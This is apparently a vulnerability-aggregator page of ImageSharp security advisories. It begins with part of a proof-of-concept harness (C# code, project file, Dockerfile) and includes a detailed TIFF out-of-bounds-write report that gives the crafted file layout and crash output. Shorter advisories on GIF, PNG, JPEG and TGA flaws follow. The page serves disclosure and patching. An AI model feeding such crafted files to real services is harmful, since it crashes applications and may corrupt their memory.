private static byte[] BuildPng(byte[] icc) { using var image = new Image<Rgba32>(1, 1); image.Metadata.IccProfile = new IccProfile(icc); using var output = new MemoryStream(); image.Save(output, new PngEncoder()); return output.ToArray(); }

public static int Main(string[] args) { string mode = args.Length == 1 ? args[0] : "exploit"; if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control"); Console.WriteLine($"mode={mode} profilebytes=200 requestedfloatarray={RequestedFloats} requestedbytes={RequestedBytes}"); Console.WriteLine($"imagesharpassembly={typeof(Image).Assembly.Location}"); Console.WriteLine($"imagesharpversion={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}"); long before = GC.GetTotalAllocatedBytes(true); try { byte[] png = BuildPng(BuildTruncatedProfile()); var options = new DecoderOptions { ColorProfileHandling = mode == "exploit" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve }; using Image decoded = Image.Load(options, png); Console.WriteLine($"decoded={decoded.Width}x{decoded.Height} iccpresent={decoded.Metadata.IccProfile is not null}"); } catch (Exception exception) { Console.WriteLine($"observedexception={exception.GetType().FullName}: {exception.Message}"); } Console.WriteLine($"managedbytesallocated={GC.GetTotalAllocatedBytes(true) - before}"); return 0; } }

Project file:

xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>disable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> <Private>true</Private> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> <Private>true</Private> </Reference> </ItemGroup> </Project>

Dockerfile:

dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY gwg2.csproj Program.cs ./ Restore only to obtain the published package. The repro project then uses a direct DLL reference so ImageSharp's package build target is not invoked. RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build gwg2.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/gwg2.dll"]

Run:

sh docker build -t imagesharp-gwg2-poc . docker run --rm imagesharp-gwg2-poc exploit docker run --rm imagesharp-gwg2-poc control

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When decoding a fax-compressed strip TIFF (Compression=3 / Group 3 1D, or Compression=2 / Modified Huffman), the CCITT decompressors write decoded runs through BitWriterUtils.WriteBits/WriteBit/WriteZeroBit, which advance and write bits via Unsafe.Add with read-modify-write semantics — without ever comparing the write position against the target buffer length. The strip buffer is sized ImageWidth × RowsPerStrip (8 bytes in the PoC), but two independent defects let an attacker write tens of millions of bits past it: (a) T4 only increments rowsWritten when an EOL code is read, and one ReadNextRun accumulates unlimited makeup codes (+2560 px per 12-bit code) into a single RunLength that WritePixelRun then writes in one shot; (b) Modified Huffman writes before validating (pixelsWritten > Width is checked at :90-93, after the write at :56-63), so the overflow completes even though an exception is thrown later. One crafted ~90 KB file writes ~19.2 MB linearly past an 8-byte buffer and deterministically kills the process; the write offset and length are fully attacker-controlled (classic heap-corruption primitive on the managed heap).

Verified at commit 5cd4d0d26a82a9549f297a237aea9cf665bddff8 (main; latest release v4.1.0, the supported major). A related tiled-path variant (tile-buffer width mismatch) was reported separately as GHSA-v76p-62qx-wwq2 — this report covers the distinct strip-path root cause.

Details

Root cause: the bit-writing sink has no bounds check, and neither decompressor constrains run lengths against the strip buffer.

- Unchecked write primitive: BitWriterUtils.cs#L51 (WriteBit), :58 (WriteZeroBit — also read-modify-write, so even all-white runs really write), :11 (WriteBits) - T4 trigger: T4TiffCompression.cs#L75 and L109-L119 — rowsWritten only increments on EOL; consecutive makeup codes accumulate into one RunLength, then WritePixelRun writes it in full - MH trigger: ModifiedHuffmanTiffCompression.cs#L56-L63 — write happens before the width check at L90-L93 - Buffer size: TiffDecoderCore.cs#L932-L967 — CalculateStripBufferSize = width × bpp/8 × rowsPerStrip

Attack surface: Image.Load(stream) on an attacker-supplied strip TIFF (TiffDecoderCore.DecodeStripsChunky → TiffDecompressorsFactory.Create → Decompress). Default configuration, no authentication, no user interaction — a plain strip TIFF (far more common than the tiled variant) with Compression=2 or 3 and a chain of CCITT makeup codes.

Relationship to GHSA-v76p-62qx-wwq2: that report is the tiled variant — a caller-side width mismatch (TiffDecompressorsFactory drops tile parameters) that overflows with perfectly legal run codes. This report is the strip variant — the callee-side missing bounds check plus T4's EOL-only row accounting and MH's write-before-validate. Fixing the caller mismatch does not address this vector; bounding BitWriterUtils addresses both (see remediation).

Suggested remediation: 1. Bound BitWriterUtils.WriteBits/WriteBit/WriteZeroBit against buffer.Length8 (return bool / throw ImageFormatException) — do not rely on caller discipline. 2. In the T4/MH decompress loops, validate (bitsWritten + RunLength) <= buffer.Length8 before writing; abort T4 when accumulated rows exceed stripHeight instead of waiting for the loop to end naturally. 3. In Modified Huffman, move the pixelsWritten > Width check before the actual write. 4. Regression fuzz cases: Compression=2/3, EOL-less oversized makeup chains, edge widths; strip and tiled paths share the same constraint.

PoC

Full PoC posted as the first comment below: Program.cs (driver), poc-tiff-t4.tif + poc-tiff-mh.tif (crafted files, ~90 KB each, base64 inline), README.

1. Build a console project referencing src/ImageSharp/ImageSharp.csproj, run it against either crafted file (or call Image.Load on it). 2. PoC layout: TIFF (II, 42), ImageWidth=64, ImageLength=1, BitsPerSample=1, Photometric=WhiteIsZero, RowsPerStrip=1; strip data = EOL(12bit) + 60000× white makeup 2560 (000000011111) + white terminating code (000111) — declared run ≈ 153,600,001 px ≈ 19.2 MB into an 8-byte buffer. 3. Observed (both variants):

strip payload 90003 bytes, claimed run ~153,600,001 px = 19,200,000 bytes into 8-byte buffer Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at SixLabors.ImageSharp.Formats.Tiff.Compression.BitWriterUtils.WriteBits(Span1<Byte>, IntPtr, IntPtr, Byte) at ...ModifiedHuffmanTiffCompression.Decompress(...) at SixLabors.ImageSharp.Formats.Tiff.TiffDecoderCore.DecodeStripsChunkyRgba32 Aborted (core dumped); exit=134

The T4 variant crashes identically at T4TiffCompression.WritePixelRun → BitWriterUtils.WriteBits. 4. Control: an equivalent file without the makeup chain (legal EOL-delimited rows) decodes normally — the crash comes from the oversized runs, not the container.

Impact

- What it is: out-of-bounds write (CWE-787). For any service decoding untrusted TIFFs (image hosting/transcoding/thumbnails/CMS): reliable remote DoS (uncatchable fatal process crash), plus a heap OOB write with attacker-controlled offset and length — a realistic heap-corruption / potential code-execution surface. In scope of your SECURITY.md as a library vulnerability. - Who is impacted: applications decoding untrusted TIFF with SixLabors.ImageSharp at the current major (verified on main past v4.1.0); plain strip TIFFs with Compression=2/3 are the trigger, which ordinary TIFF writers can produce.

---

---

Reported by Kimi Security Team (bug-report@moonshot.ai).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.07%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact An Out-of-bounds Write vulnerability has been found in the ImageSharp gif decoder, allowing attackers to cause a crash using a specially crafted gif. This can potentially lead to denial of service.

Patches The problem has been patched. All users are advised to upgrade to v3.1.7 or v2.1.10.

Workarounds None.

References https://github.com/SixLabors/ImageSharp/issues/2859 https://github.com/SixLabors/ImageSharp/issues/2890

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.04%
Use After Free
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Impact A heap-use-after-free flaw was found in ImageSharp's InitializeImage() function of PngDecoderCore.cs file. This vulnerability is triggered when an attacker passes a specially crafted PNG image file to ImageSharp for conversion, potentially leading to information disclosure.

Patches The problem has been patched. All users are advised to upgrade to v3.1.3 or v2.1.7.

Workarounds None

References None

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Impact

A vulnerability discovered in the ImageSharp library, where the processing of specially crafted files can lead to excessive memory usage in image decoders. The vulnerability is triggered when ImageSharp attempts to process image files that are designed to exploit this flaw.

This flaw can be exploited to cause a denial of service (DoS) by depleting process memory, thereby affecting applications and services that rely on ImageSharp for image processing tasks. Users and administrators are advised to update to the latest version of ImageSharp that addresses this vulnerability to mitigate the risk of exploitation.

Patches

The problem has been patched. All users are advised to upgrade to v3.1.4 or v2.1.8.

Workarounds

Before calling Image.Decode(Async), use Image.Identify to determine the image dimensions in order to enforce a limit.

References

- ImageSharp: Security Considerations - ImageSharp.Web: Securing Processing Commands

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Impact A data leakage flaw was found in ImageSharp's JPEG and TGA decoders. This vulnerability is triggered when an attacker passes a specially crafted JPEG or TGA image file to a software using ImageSharp, potentially disclosing sensitive information from other parts of the software in the resulting image buffer.

Patches The problem has been patched. All users are advised to upgrade to v3.1.4 or v2.1.8.

Workarounds None

References None

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Impact What kind of vulnerability is it? Who is impacted?

A vulnerability discovered in the ImageSharp library, where the processing of specially crafted files can lead to excessive memory usage in the Gif decoder. The vulnerability is triggered when ImageSharp attempts to process image files that are designed to exploit this flaw.

Patches Has the problem been patched? What versions should users upgrade to?

The problem has been patched. All users are advised to upgrade to v3.1.5 or v2.1.9.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

Before calling Image.Decode(Async), use Image.Identify to determine the image dimensions in order to enforce a limit.

References Are there any links users can visit to find out more? - https://github.com/SixLabors/ImageSharp/pull/2759 - https://github.com/SixLabors/ImageSharp/pull/2764 - https://github.com/SixLabors/ImageSharp/pull/2770 - ImageSharp: Security Considerations - ImageSharp.Web: Securing Processing Commands

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact An Out-of-bounds Write vulnerability has been found in the ImageSharp gif decoder, allowing attackers to cause a crash using a specially crafted gif. This can potentially lead to denial of service.

Patches The problem has been patched. All users are advised to upgrade to v3.1.5 or v2.1.9.

Workarounds None.

References https://github.com/SixLabors/ImageSharp/pull/2754 https://github.com/SixLabors/ImageSharp/pull/2756

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203